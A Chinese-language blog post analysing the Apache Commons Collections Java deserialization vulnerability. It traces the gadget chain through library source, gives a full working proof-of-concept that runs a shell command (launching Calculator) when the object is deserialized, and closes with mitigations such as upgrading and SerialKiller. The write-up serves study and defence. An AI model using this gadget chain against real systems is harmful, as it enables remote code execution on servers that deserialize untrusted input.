通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义

漏洞分析

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链

AnotationInvocationHandler.readObject()
     Map(Proxy).entrySet()
          AnotationInvocationHandler.invoke()
               members(LazyMap).get()
                    ChainedTransformer.transform()
                         ConstantTransformer.transform()
                              Runtime.class
                         InvokerTransformer.transform()
                              getMethod("getRuntime",new Class[]{})
                         InvokerTransformer.transform()
                              invoke(null,new Object[]{})
                         InvokerTransformer.transform()
                              exec("calc")

该漏洞问题主要出现在org.apache.commons.collections.Transformer接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到该接口调用了一个方法transform其作用是为了给定一个Object对象经过转换后同时也返回一个Object
在其实现类中我们主要跟进InvokerTransformerConstantTransformerChainedTransformer
屏幕快照 2018-07-11 下午8.58.59
1.InvokerTransformer
可以看到其中属性为典型的反射格式:方法名,方法参数,实参

屏幕快照 2018-07-11 下午9.01.18
我们来看其transform(Object input)如下

public Object transform(Object input) {
        if(input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到该方法中采用了反射的方法进行函数调用,而重点是这里的三个属性都为我们的可控参数
2.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

该方法返回iConstant属性,该属性也为可控参数
3.ChainedTransformer
这是一个利用的关键类

public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if(transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

可以看到,其构造方法中接收了Transformer数组,接下来

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这个比较有意思,可以看出它使用了for循环来调用Transformer数组的transform方法,并且使用了object作为后一个调用transform方法的参数
也就是说我们现在可以通过结合上述三种方法来实现之前弹出计算器的操作

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {
                String.class }, new Object[] {"open /Applications/Calculator.app"})};

Transformer transformedChain = new ChainedTransformer(transformers);

屏幕快照 2018-07-11 下午10.00.12

根据我们开始给出的调用链可以知道LazyMap(实现了Map接口)其中(当然也有其他的)调用了transform方法

public Object get(Object key) {
        if(!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在上述代码中会判断当前Map中是否已经有该key,如果没有会交给factory.transform来处理
facory初始化是通过下方代码来完成

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if(factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以说,我们为了调用transform方法,需要找到LazyMap并调用其get方法。也就是说,我们需要在对象进行反序列化时调用我们精心构造对象的get方法,而如何能在反序列化时触发LazyMapget方法,这时候我们就要利用sun.reflect.annotation.AnnotationInvocationHandler类(JDK1.7)
我们先来看下其结构
屏幕快照 2018-07-11 下午11.28.06

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

该类实现了序列化接口,同时其中typememberValues可控
接着往下看readObject方法,这里的memberValues是我们通过构造AnnotationInvocationHandler构造函数初始化的变量,也就是我们构造的LazyMap对象

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if(var7 != null) {
                Object var8 = var5.getValue();
                if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

可以看到在readObject方法中并未找到LazyMapget方法,但是我们发现在invoke方法中memberValues.get(Object)被调用
屏幕快照 2018-07-11 下午11.57.19

这里比较强,在看大佬的POC时发现使用的是动态代理方式构造,因为AnnotationInvocationHandler实现了InvocationHandler接口,所以我们可以使用newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)生成动态代理,这样在调用对象的时候就会调用InvocationHandler.invoke方法从而执行我们想要的get方法,最终成果执行恶意代码

POC

public class CCPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{
                        String.class}, new Object[]{"open /Applications/Calculator.app"})};

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

        //设置代理
        Class[] interfaces = new Class[]{java.util.Map.class};
        Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
        InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

        System.out.println("Saving serialized object in test.ser");
        FileOutputStream fos = new FileOutputStream("test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handlerProxy);
        oos.flush();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();
    }

}

屏幕快照 2018-07-12 上午1.36.23

总结

攻击调用链
cc攻击链-2

通用解决方案

更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

参考资料

https://www.cnblogs.com/ssooking/p/5875215.html
https://www.anquanke.com/post/id/82934
https://paper.seebug.org/312/